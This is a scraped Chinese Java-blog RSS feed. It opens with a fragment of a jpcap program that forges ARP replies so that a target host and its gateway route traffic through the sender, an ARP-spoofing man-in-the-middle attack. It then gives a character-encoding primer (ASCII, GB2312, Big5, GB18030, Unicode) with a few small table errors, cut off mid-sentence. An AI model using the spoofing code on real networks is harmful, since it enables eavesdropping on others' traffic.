<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jpcap.setFilter(&#8220;ip&#8221;,true);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>只监听</span> <span>B</span> <span>的</span> <span>IP</span> <span>数据包</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sender = captor.getJpcapSenderInstance();</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /**</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</span> <span>修改</span> <span>B</span> <span>和网关的</span> <span>ARP</span> <span>表。因为网关会定时发数据包刷新自己和</span> <span>B</span> <span>的缓存表，所以必须每隔一</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</span> <span>段时间就发一次包重新更改</span> <span>B</span> <span>和网关的</span> <span>ARP</span> <span>表。</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *@</span> <span>参数</span> <span>targetMAC &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B</span> <span>的</span> <span>MAC</span> <span>地址，可通过</span> <span>ARP</span> <span>解析得到；</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *@</span> <span>参数</span> <span>targetIp &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B</span> <span>的</span> <span>IP</span> <span>地址；</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *@</span> <span>参数</span> <span>gateMAC &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>网关的</span> <span>MAC</span> <span>地址；</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *@</span> <span>参数</span> <span>gateIp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>网关的</span> <span>IP;</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws UnknownHostException,InterruptedException {</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this. targetMAC = &nbsp;targetMAC;</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this. targetIp = &nbsp;targetIp;</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this. gateMAC = gateMAC;</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this. gateIp = gateIp;</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getDevice();</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arpTarget = new ARPPacket();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>修改</span> <span>B</span> <span>的</span> <span>ARP</span> <span>表的</span> <span>ARP</span> <span>包</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>选择以太网类型</span> <span>(Ethernet)</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arpTarget.prototype = ARPPacket.PROTOTYPE_IP;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>选择</span> <span>IP</span> <span>网络协议类型</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arpTarget.operation = ARPPacket.ARP_REPLY;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>选择</span> <span>REPLY</span> <span>类型</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arpTarget.hlen = 6;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //MAC</span> <span>地址长度固定</span> <span>6</span> <span>个字节</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arpTarget.plen = 4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //IP</span> <span>地址长度固定</span> <span>4</span> <span>个字节</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arpTarget.sender_hardaddr = device.mac_address;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //A</span> <span>的</span> <span>MAC</span> <span>地址</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>网关</span> <span>IP</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arpTarget.target_hardaddr = targetMAC;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></div>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/135824.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-08-10 14:20 <a href="http://www.blogjava.net/WshmAndLily/articles/135824.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>计算机编码大全 </title><link>http://www.blogjava.net/WshmAndLily/articles/135821.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 10 Aug 2007 06:17:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/135821.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/135821.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/135821.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/135821.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/135821.html</trackback:ping><description><![CDATA[<font size=2>基础的开始<br>最小的单元是位（bit），接着是字节（Byte），一个字节＝8位，英语表示是1 byte=8 bits 。机器语言的单位Byte。接着是KB，1 KB=1024 Byte; 接着是MB，1 MB=1024 KB; 接着是GB，1 GB=1024 MB ;接着是TB, 1TB=1024 GB。<br>接着是进制：二进制0和1，8进制0-7， 十进制不用说，10进制0-9后面是A,B,C,D,E,F 他们关系如下：<br>Binary &nbsp; Octal Decimal Hex<br>0 &nbsp; &nbsp; &nbsp; 0 &nbsp; &nbsp; 0 &nbsp; &nbsp; 0<br>1 &nbsp; &nbsp; &nbsp; 1 &nbsp; &nbsp; 1 &nbsp; &nbsp; 1<br>10 &nbsp; &nbsp; &nbsp; 2 &nbsp; &nbsp; 2 &nbsp; &nbsp; 2<br>11 &nbsp; &nbsp; &nbsp; 3 &nbsp; &nbsp; 3 &nbsp; &nbsp; 3<br>100 &nbsp; &nbsp; 4 &nbsp; &nbsp; 4 &nbsp; &nbsp; 4<br>101 &nbsp; &nbsp; 5 &nbsp; &nbsp; 5 &nbsp; &nbsp; 5<br>110 &nbsp; &nbsp; 6 &nbsp; &nbsp; 6 &nbsp; &nbsp; 6<br>111 &nbsp; &nbsp; 7 &nbsp; &nbsp; 7 &nbsp; &nbsp; 7<br>1000 &nbsp; &nbsp; 10 &nbsp; 8 &nbsp; &nbsp; 8<br>1001 &nbsp; &nbsp; 11 &nbsp; 9 &nbsp; &nbsp; 9<br>1010 &nbsp; &nbsp; 12 &nbsp; 10 &nbsp; &nbsp; A<br>1011 &nbsp; &nbsp; 13 &nbsp; 11 &nbsp; &nbsp; B<br>1100 &nbsp; &nbsp; 14 &nbsp; 12 &nbsp; &nbsp; C<br>1101 &nbsp; &nbsp; 15 &nbsp; 13 &nbsp; &nbsp; D<br>1110 &nbsp; &nbsp; 16 &nbsp; 14 &nbsp; &nbsp; E<br>1111 &nbsp; &nbsp; 17 &nbsp; 15 &nbsp; &nbsp; F<br><br>接着是上层建筑字符：<br><br>字符是各种文字和符号的总称，包括各国家文字、标点符号、图形符号、数字等。字符集是多个字符的集合，字符集种类较多，每个字符集包含的字符个数不同，常见字符集名称：ASCII字符集、GB2312字符集、BIG5字符集、 GB 18030字符集、Unicode字符集等。计算机要准确的处理各种字符集文字，需要进行字符编码，以便计算机能够识别和存储各种文字。<br><br>ASCII 字符集<br>ASCII（American Standard Code for Information Interchange，美国信息互换标准代码）是基于罗马字母表的一套电脑编码系统，它主要用于显示现代英语和其他西欧语言。它是现今最通用的单字节编码系统，并等同于国际标准ISO 646。<br><br>包含内容：<br><br>控制字符：回车键、退格、换行键等。<br><br>可显示字符：英文大小写字符、阿拉伯数字和西文符号<br><br>ASCII扩展字符集扩展：表格符号、计算符号、希腊字母和特殊的拉丁符号。 <br><br>　　第0～32号及第127号(共34个)是控制字符或通讯专用字符，如控制符：LF（换行）、CR（回车）、FF（换页）、DEL（删除）、BEL（振铃）等；通讯专用字符：SOH（文头）、EOT（文尾）、ACK（确认）等； <br><br>　　第33～126号(共94个)是字符，其中第48～57号为0～9十个阿拉伯数字；65～90号为26个大写英文字母，97～122号为26个小写英文字母，其余为一些标点符号、运算符号等。 <br><br>　　注意：在计算机的存储单元中，一个ASCII码值占一个字节(8个二进制位)，其最高位(b7)用作奇偶校验位。所谓奇偶校验，是指在代码传送过程中用来检验是否出现错误的一种方法，一般分奇校验和偶校验两种。奇校验规定：正确的代码一个字节中1的个数必须是奇数，若非奇数，则在最高位b7添1；偶校验规定：正确的代码一个字节中1的个数必须是偶数，若非偶数，则在最高位b7添1。<br><br>DEC &nbsp; HEX CHAR CODE C 程序（转义） <br>0 &nbsp; 00 　 NUL （&#8217;\0&#8217;） <br>1 &nbsp; 01 　 SOH 　 <br>2 &nbsp; 02 　 STX 　 <br>3 &nbsp; 03 　 ETX 　 <br>4 &nbsp; 04 　 EOT 　 <br>5 &nbsp; 05 　 ENQ 　 <br>6 &nbsp; 06 　 ACK 　 <br>7 &nbsp; 07 　 BEL （&#8217;\a&#8217;） <br>8 &nbsp; 08 　 BS （&#8217;\b&#8217;） <br>9 &nbsp; 09 　 HT （&#8217;\t&#8217;） <br>10 &nbsp; 0A 　 LF （&#8217;\n&#8217;） <br>11 &nbsp; 0B 　 VT （&#8217;\v&#8217;） <br>12 &nbsp; 0C 　 FF （&#8217;\f&#8217;） <br>13 &nbsp; 0D 　 CR （&#8217;\r&#8217;） <br>14 &nbsp; 0E 　 SO 　 <br>15 &nbsp; 0F 　 SI 　 <br>16 &nbsp; 10 　 DLE 　 <br>17 &nbsp; 11 　 DC1 　 <br>18 &nbsp; 12 　 DC2 　 <br>19 &nbsp; 13 　 DC1 　 <br>20 &nbsp; 14 　 DC4 　 <br>21 &nbsp; 15 　 NAK 　 <br>22 &nbsp; 16 　 SYN 　 <br>23 &nbsp; 17 　 ETB 　 <br>24 &nbsp; 18 　 CAN 　 <br>25 &nbsp; 19 　 EM 　 <br>26 &nbsp; 1A 　 SUB 　 <br>27 &nbsp; 1B 　 ESC 　 <br>28 &nbsp; 1C 　 FS 　 <br>29 &nbsp; 1D 　 GS 　 <br>30 &nbsp; 1E 　 RS 　 <br>31 &nbsp; 1F 　 US 　 <br>32 &nbsp; 20 (space，空格) 　 　 <br>33 &nbsp; 21 &nbsp; ! 　 　 <br>34 &nbsp; 22 &nbsp; " 　 　 <br>35 &nbsp; 23 &nbsp; # 　 　 <br>36 &nbsp; 24 &nbsp; $ 　 　 <br>37 &nbsp; 25 &nbsp; % 　 　 <br>38 &nbsp; 26 &nbsp; &amp; 　 　 <br>39 &nbsp; 27 &nbsp; &#8217; 　 　 <br>40 &nbsp; 28 &nbsp; ( 　 　 <br>41 &nbsp; 29 &nbsp; ) 　 　 <br>42 &nbsp; 2A &nbsp; * 　 　 <br>43 &nbsp; 2B &nbsp; + 　 　 <br>44 &nbsp; 2C &nbsp; , 　 　 <br>45 &nbsp; 2D &nbsp; - 　 　 <br>46 &nbsp; 2E &nbsp; . 　 　 <br>47 &nbsp; 2F &nbsp; / 　 　 <br>48 &nbsp; 30 &nbsp; 0 　 　 <br>49 &nbsp; 31 &nbsp; 1 　 　 <br>50 &nbsp; 32 &nbsp; 2 　 　 <br>51 &nbsp; 33 &nbsp; 3 　 　 <br>52 &nbsp; 34 &nbsp; 4 　 　 <br>53 &nbsp; 35 &nbsp; 5 　 　 <br>54 &nbsp; 36 &nbsp; 6 　 　 <br>55 &nbsp; 37 &nbsp; 7 　 　 <br>56 &nbsp; 38 &nbsp; 8 　 　 <br>57 &nbsp; 39 &nbsp; 9 　 　 <br>58 &nbsp; 3A &nbsp; : 　 　 <br>59 &nbsp; 3B &nbsp; ; 　 　 <br>60 &nbsp; 3C &nbsp; &lt; 　 　 <br>61 &nbsp; 3D &nbsp; = 　 　 <br>62 &nbsp; 3E &nbsp; &gt; 　 　 <br>63 &nbsp; 3F &nbsp; ? 　 　 <br>64 &nbsp; 40 &nbsp; @ 　 　 <br>65 &nbsp; 41 &nbsp; A 　 　 <br>66 &nbsp; 42 &nbsp; B 　 　 <br>67 &nbsp; 43 &nbsp; C 　 　 <br>68 &nbsp; 44 &nbsp; D 　 　 <br>69 &nbsp; 45 &nbsp; E 　 　 <br>70 &nbsp; 46 &nbsp; F 　 　 <br>71 &nbsp; 47 &nbsp; G 　 　 <br>72 &nbsp; 48 &nbsp; H 　 　 <br>73 &nbsp; 49 &nbsp; I 　 　 <br>74 &nbsp; 4A &nbsp; J 　 　 <br>75 &nbsp; 4B &nbsp; K 　 　 <br>76 &nbsp; 4C &nbsp; L 　 　 <br>77 &nbsp; 4D &nbsp; M 　 　 <br>78 &nbsp; 4E &nbsp; N 　 　 <br>79 &nbsp; 4F &nbsp; O 　 　 <br>80 &nbsp; 50 &nbsp; P 　 　 <br>81 &nbsp; 51 &nbsp; Q 　 　 <br>82 &nbsp; 52 &nbsp; R 　 　 <br>83 &nbsp; 53 &nbsp; S 　 　 <br>84 &nbsp; 54 &nbsp; T 　 　 <br>85 &nbsp; 55 &nbsp; U 　 　 <br>86 &nbsp; 56 &nbsp; V 　 　 <br>87 &nbsp; 57 &nbsp; W 　 　 <br>88 &nbsp; 58 &nbsp; X 　 　 <br>89 &nbsp; 59 &nbsp; Y 　 　 <br>90 &nbsp; 5A &nbsp; Z 　 　 <br>91 &nbsp; 5B &nbsp; [ 　 　 <br>92 &nbsp; 5C &nbsp; \ 　 （&#8217;\\&#8217;） <br>93 &nbsp; 5D &nbsp; ] 　 　 <br>94 &nbsp; 5E &nbsp; ^ 　 　 <br>95 &nbsp; 5F &nbsp; _ 　 　 <br>96 &nbsp; 60 &nbsp; ` 　 　 <br>97 &nbsp; 61 &nbsp; a 　 　 <br>98 &nbsp; 62 &nbsp; b 　 　 <br>99 &nbsp; 63 &nbsp; c 　 　 <br>100 &nbsp; 64 &nbsp; d 　 　 <br>101 &nbsp; 65 &nbsp; e 　 　 <br>102 &nbsp; 66 &nbsp; f 　 　 <br>103 &nbsp; 67 &nbsp; g 　 　 <br>104 &nbsp; 68 &nbsp; h 　 　 <br>105 &nbsp; 69 &nbsp; i 　 　 <br>106 &nbsp; 6A &nbsp; j 　 　 <br>107 &nbsp; 6B &nbsp; k 　 　 <br>108 &nbsp; 6C &nbsp; l 　 　 <br>109 &nbsp; 6D &nbsp; m 　 　 <br>110 &nbsp; 6E &nbsp; n 　 　 <br>111 &nbsp; 6F &nbsp; o 　 　 <br>112 &nbsp; 70 &nbsp; p 　 　 <br>113 &nbsp; 71 &nbsp; q 　 　 <br>114 &nbsp; 72 &nbsp; r 　 　 <br>115 &nbsp; 73 &nbsp; s 　 　 <br>116 &nbsp; 74 &nbsp; t 　 　 <br>117 &nbsp; 75 &nbsp; u 　 　 <br>118 &nbsp; 76 &nbsp; v 　 　 <br>119 &nbsp; 77 &nbsp; w 　 　 <br>120 &nbsp; 78 &nbsp; x 　 　 <br>121 &nbsp; 79 &nbsp; y 　 　 <br>122 &nbsp; 7A &nbsp; z 　 　 <br>123 &nbsp; 7B &nbsp; { 　 　 <br>124 &nbsp; 7C &nbsp; | 　 　 <br>125 &nbsp; 7D &nbsp; } 　 　 <br>126 &nbsp; 7E &nbsp; ~ 　 　 <br>127 &nbsp; 7F &nbsp; 　 DEL <br><br><br>GB2312 字符集<br><br>GB2312又称为GB2312-80字符集，全称为《信息交换用汉字编码字符集&#183;基本集》，由原中国国家标准总局发布，1981年5月1日实施，是中国国家标准的简体中文字符集。它所收录的汉字已经覆盖99.75%的使用频率，基本满足了汉字的计算机处理需要。在中国大陆和新加坡获广泛使用。<br><br>GB2312收录简化汉字及一般符号、序号、数字、拉丁字母、日文假名、希腊字母、俄文字母、汉语拼音符号、汉语注音字母，共 7445 个图形字符。其中包括6763个汉字，其中一级汉字3755个，二级汉字3008个；包括拉丁字母、希腊字母、日文平假名及片假名字母、俄语西里尔字母在内的682个全角字符。 <br><br>GB2312中对所收汉字进行了&#8220;分区&#8221;处理，每区含有94个汉字/符号。这种表示方式也称为区位码。<br><br>它是用双字节表示的，两个字节中前面的字节为第一字节，后面的字节为第二字节。习惯上称第一字节为&#8220;高字节&#8221; ，而称第二字节为&#8220;低字节&#8221;。&#8220;高位字节&#8221;使用了0xA1-0xF7(把01-87区的区号加上0xA0)，&#8220;低位字节&#8221;使用了0xA1-0xFE(把01-94加上0xA0)。<br><br>以GB2312字符集的第一个汉字&#8220;啊&#8221;字为例，它的区号16，位号01，则区位码是1601，在大多数计算机程序中，高字节和低字节分别加0xA0得到程序的汉字处理编码0xB0A1。计算公式是：0xB0=0xA0+16, 0xA1=0xA0+1。<br><br>GBK字符集<br>GBK字符集是GB2312的扩展(K)，GBK1.0收录了21886个符号，它分为汉字区和图形符号区，汉字区包括21003个字符。GBK字符集主要扩展了繁体中文字的支持。<br><br><br>BIG5 字符集<br><br>BIG5又称大五码或五大码，1984年由台湾财团法人信息工业策进会和五间软件公司宏碁 (Acer)、神通 (MiTAC)、佳佳、零壹 (Zero One)、大众 (FIC)创立，故称大五码。Big5码的产生，是因为当时台湾不同厂商各自推出不同的编码，如倚天码、IBM PS55、王安码等，彼此不能兼容；另一方面，台湾政府当时尚未推出官方的汉字编码，而中国大陆的GB2312编码亦未有收录繁体中文字。<br><br>Big5字符集共收录13,053个中文字，该字符集在中国台湾使用。耐人寻味的是该字符集重复地收录了两个相同的字：&#8220;兀&#8221;(0xA461及0xC94A)、&#8220;嗀&#8221;(0xDCD1及0xDDFC)。<br><br>Big5码使用了双字节储存方法，以两个字节来编码一个字。第一个字节称为&#8220;高位字节&#8221;，第二个字节称为&#8220;低位字节&#8221;。高位字节的编码范围0xA1-0xF9，低位字节的编码范围0x40-0x7E及0xA1-0xFE。<br><br>尽管Big5码内包含一万多个字符，但是没有考虑社会上流通的人名、地名用字、方言用字、化学及生物科等用字，没有包含日文平假名及片假字母。<br><br>例如台湾视&#8220;着&#8221;为&#8220;著&#8221;的异体字，故没有收录&#8220;着&#8221;字。康熙字典中的一些部首用字(如&#8220;亠&#8221;、&#8220;疒&#8221;、&#8220;辵&#8221;、&#8220;癶&#8221;等)、常见的人名用字(如&#8220;堃&#8221;、&#8220;煊&#8221;、&#8220;栢&#8221;、&#8220;喆&#8221;等) 也没有收录到Big5之中。<br><br><br>GB18030 字符集<br><br>GB18030的全称是GB18030-2000《信息交换用汉字编码字符集基本集的扩充》，是我国政府于2000年3月17日发布的新的汉字编码国家标准，2001年8月31日后在中国市场上发布的软件必须符合本标准。GB 18030字符集标准的出台经过广泛参与和论证，来自国内外知名信息技术行业的公司，信息产业部和原国家质量技术监督局联合实施。<br><br>GB 18030字符集标准解决汉字、日文假名、朝鲜语和中国少数民族文字组成的大字符集计算机编码问题。该标准的字符总编码空间超过150万个编码位，收录了27484个汉字，覆盖中文、日文、朝鲜语和中国少数民族文字。满足中国大陆、香港、台湾、日本和韩国等东亚地区信息交换多文种、大字量、多用途、统一编码格式的要求。并且与Unicode 3.0版本兼容，填补Unicode扩展字符字汇&#8220;统一汉字扩展A&#8221;的内容。并且与以前的国家字符编码标准（GB2312，GB13000.1）兼容。<br><br>编码方法：<br>GB 18030标准采用单字节、双字节和四字节三种方式对字符编码。单字节部分使用0&#215;00至0&#215;7F码(对应于ASCII码的相应码)。双字节部分，首字节码从0&#215;81至0&#215;FE，尾字节码位分别是0&#215;40至0&#215;7E和0&#215;80至0&#215;FE。四字节部分采用GB/T 11383未采用的0&#215;30到0&#215;39作为对双字节编码扩充的后缀，这样扩充的四字节编码，其范围为0&#215;81308130到0&#215;FE39FE39。其中第一、三个字节编码码位均为0&#215;81至0&#215;FE，第二、四个字节编码码位均为0&#215;30至0&#215;39。<br><br>按照程序员的称呼，GB2312、GBK到GB18030都属于双字节字符集 (DBCS)。<br><br>接着是国际通用的unicode字符集<br><br>Unicode字符集（简称为UCS）<br><br>1．名称的由来<br><br>Unicode字符集编码是（Universal Multiple-Octet Coded Character Set） 通用多八位编码字符集的简称，支持世界上超过650种语言的国际字符集。Unicode允许在同一服务器上混合使用不同语言组的不同语言。它是由一个名为 Unicode 学术学会(Unicode Consortium)的机构制订的字符编码系统，支持现今世界各种不同语言的书面文本的交换、处理及显示。该编码于1990年开始研发，1994年正式公布，最新版本是2005年3月31日的Unicode 4.1.0。Unicode是一种在计算机上使用的字符编码。它为每种语言中的每个字符设定了统一并且唯一的二进制编码，以满足跨语言、跨平台进行文本转换、处理的要求。<br><br>2．编码方法<br><br>Unicode 标准始终使用十六进制数字，而且在书写时在前面加上前缀&#8220;U+&#8221;，例如字母&#8220;A&#8221;的编码为 004116 。所以&#8220;A&#8221;的编码书写为&#8220;U+0041&#8221;。<br><br>3．UTF-8 编码<br>UTF-8是Unicode的其中一个使用方式。 UTF是 Unicode Translation 